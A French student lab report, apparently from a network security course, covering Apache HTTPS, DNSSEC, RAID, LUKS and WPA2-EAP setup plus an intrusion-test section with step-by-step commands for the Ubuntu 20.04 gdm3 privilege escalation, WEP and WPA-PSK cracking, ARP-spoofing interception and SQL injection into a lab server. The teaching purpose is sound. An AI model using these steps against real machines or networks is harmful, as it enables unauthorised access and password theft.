Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce répertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:&lt;br /&gt;
 &lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire  /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerAdmin admin@piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  Redirect permanent / https://www.piedbleu.site/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.181:443&amp;gt;&lt;br /&gt;
  ServerName piedbleu.site&lt;br /&gt;
  ServerAlias www.piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile /etc/ssl/piedbleu.site.crt&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/piedbleu.site.key&lt;br /&gt;
  SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La commande : &lt;br /&gt;
 apachect1 configtest &lt;br /&gt;
nous indique bien que la syntaxe est correcte.&lt;br /&gt;
&lt;br /&gt;
Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :&lt;br /&gt;
&lt;br /&gt;
 www	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Pour que les modifications soient prises en compte, nous redémarrons apache2:&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
==Sécurisation du serveur DNS par DNSSEC==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues de la manière suivante:&lt;br /&gt;
 Kpiedbleu.site.+005+09001.key -&amp;gt; piedbleu.site-ksk.key &lt;br /&gt;
 Kpiedbleu.site.+005+09001.private -&amp;gt; piedbleu.site-ksk.private&lt;br /&gt;
 Kpiedbleu.site.+005+22902.key -&amp;gt; piedbleu.site-zsk.key&lt;br /&gt;
 Kpiedbleu.site.+005+22902.private -&amp;gt; piedbleu.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.&lt;br /&gt;
&lt;br /&gt;
On signe ensuite les enregistrements de la zone : &lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site.signed&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.&lt;br /&gt;
&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Vérification:&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/&lt;br /&gt;
&lt;br /&gt;
[[Fichier:dnssec1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
L'utilisation de la commande : &lt;br /&gt;
 dnssec-verify -o piedbleu.site db.piedbleu.site.signed&lt;br /&gt;
&lt;br /&gt;
nous donne le résultat suivant:&lt;br /&gt;
 Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'&lt;br /&gt;
 Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                     ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
&lt;br /&gt;
==IPv6==&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fefe:c26c&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fefe:c26c&lt;br /&gt;
&lt;br /&gt;
Ensuite, on resigne le DNS : &lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Et on redémarre bind9.&lt;br /&gt;
&lt;br /&gt;
=Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux.&lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 sudo adduser u1&lt;br /&gt;
 su u1&lt;br /&gt;
 id&lt;br /&gt;
   uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 whoami&lt;br /&gt;
   pwn&lt;br /&gt;
 id&lt;br /&gt;
   uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles : &lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
On peut ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé (message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID. &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):&lt;br /&gt;
&lt;br /&gt;
 crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par force brute avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-6.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John the Ripper nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I_was_here_IMA_G8&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=Réalisations=&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions virtuelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 fdisk -l # on repère la clé USB&lt;br /&gt;
 fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/USB &lt;br /&gt;
 mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 umount /mnt/USB&lt;br /&gt;
 cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
==Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
===FreeRADIUS===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
On installe le paquet :&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :&lt;br /&gt;
&lt;br /&gt;
 client 10.60.100.10/24 {&lt;br /&gt;
 	shortname = Piedbleu&lt;br /&gt;
 	secret = pasglop&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
On ajoute un utilisateur FreeRADIUS &amp;quot;pifou&amp;quot; dans le fichier de configuration /etc/freeradius/3.0/users : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour finir, on configure l'authentification PEAP-MSCHAPv2.&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 eap{&lt;br /&gt;
 ...&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
 ...&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap : &lt;br /&gt;
&lt;br /&gt;
 use_mppe = yes&lt;br /&gt;
 require_encryption = yes&lt;br /&gt;
 require_strong = yes&lt;br /&gt;
 with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
===Point d'accès WiFi===&lt;br /&gt;
&lt;br /&gt;
Ensuite, on configure le point d'accès WiFi.&lt;br /&gt;
&lt;br /&gt;
 ssh root@10.60.100.10 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group8&lt;br /&gt;
 radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop&lt;br /&gt;
 aaa group server radius radius_group8&lt;br /&gt;
 server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 : &lt;br /&gt;
&lt;br /&gt;
 dot11 ssid Piedbleu&lt;br /&gt;
 vlan 308&lt;br /&gt;
 authentication open eap eap_group8&lt;br /&gt;
 authentication network-eap eap_group8&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption: &lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 encryption vlan 308 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid Piedbleu&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Encapsulation: &lt;br /&gt;
&lt;br /&gt;
 int dot11radio0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 exit&lt;br /&gt;
 int Gi0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
En n'oubliant pas de démarrer l'interface  :&lt;br /&gt;
&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 no shutdown&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
Ping du point d'accès vers notre VM : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ping.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On observe notre SSID &amp;quot;Piedbleu&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ssid.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On s'y connecte avec notre téléphone tout en lançant la commande : &lt;br /&gt;
&lt;br /&gt;
 freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP===&lt;br /&gt;
&lt;br /&gt;
'''6509E'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.1&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.99&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.150 10.60.108.255&lt;br /&gt;
 write&lt;br /&gt;
 exit&lt;br /&gt;
 sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
'''C9200'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.2&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.49&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.100 10.60.108.255&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
===Mascarade===&lt;br /&gt;
&lt;br /&gt;
'''6509E'''&lt;br /&gt;
&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 ip nat inside&lt;br /&gt;
&lt;br /&gt;
 access-list 108 permit ip 10.60.108.0 0.0.0.255 any&lt;br /&gt;
 ip nat inside source list 108 interface Loopback0 overload&lt;br /&gt;
&lt;br /&gt;
=Ferme de serveurs Web=&lt;br /&gt;
&lt;br /&gt;
==Architecture générale de la ferme==&lt;br /&gt;
&lt;br /&gt;
===Configuration VM Capbreton===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/xen/capbreton.cfg, on ajoute une interface réseau : &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C',&lt;br /&gt;
         'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D',&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
